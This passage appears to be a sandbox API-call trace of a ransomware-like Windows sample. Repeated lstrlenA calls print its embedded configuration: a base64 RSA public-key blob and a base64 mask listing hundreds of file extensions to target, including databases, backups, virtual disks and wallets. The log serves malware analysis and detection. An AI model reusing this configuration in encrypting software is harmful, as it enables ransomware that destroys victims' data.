C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs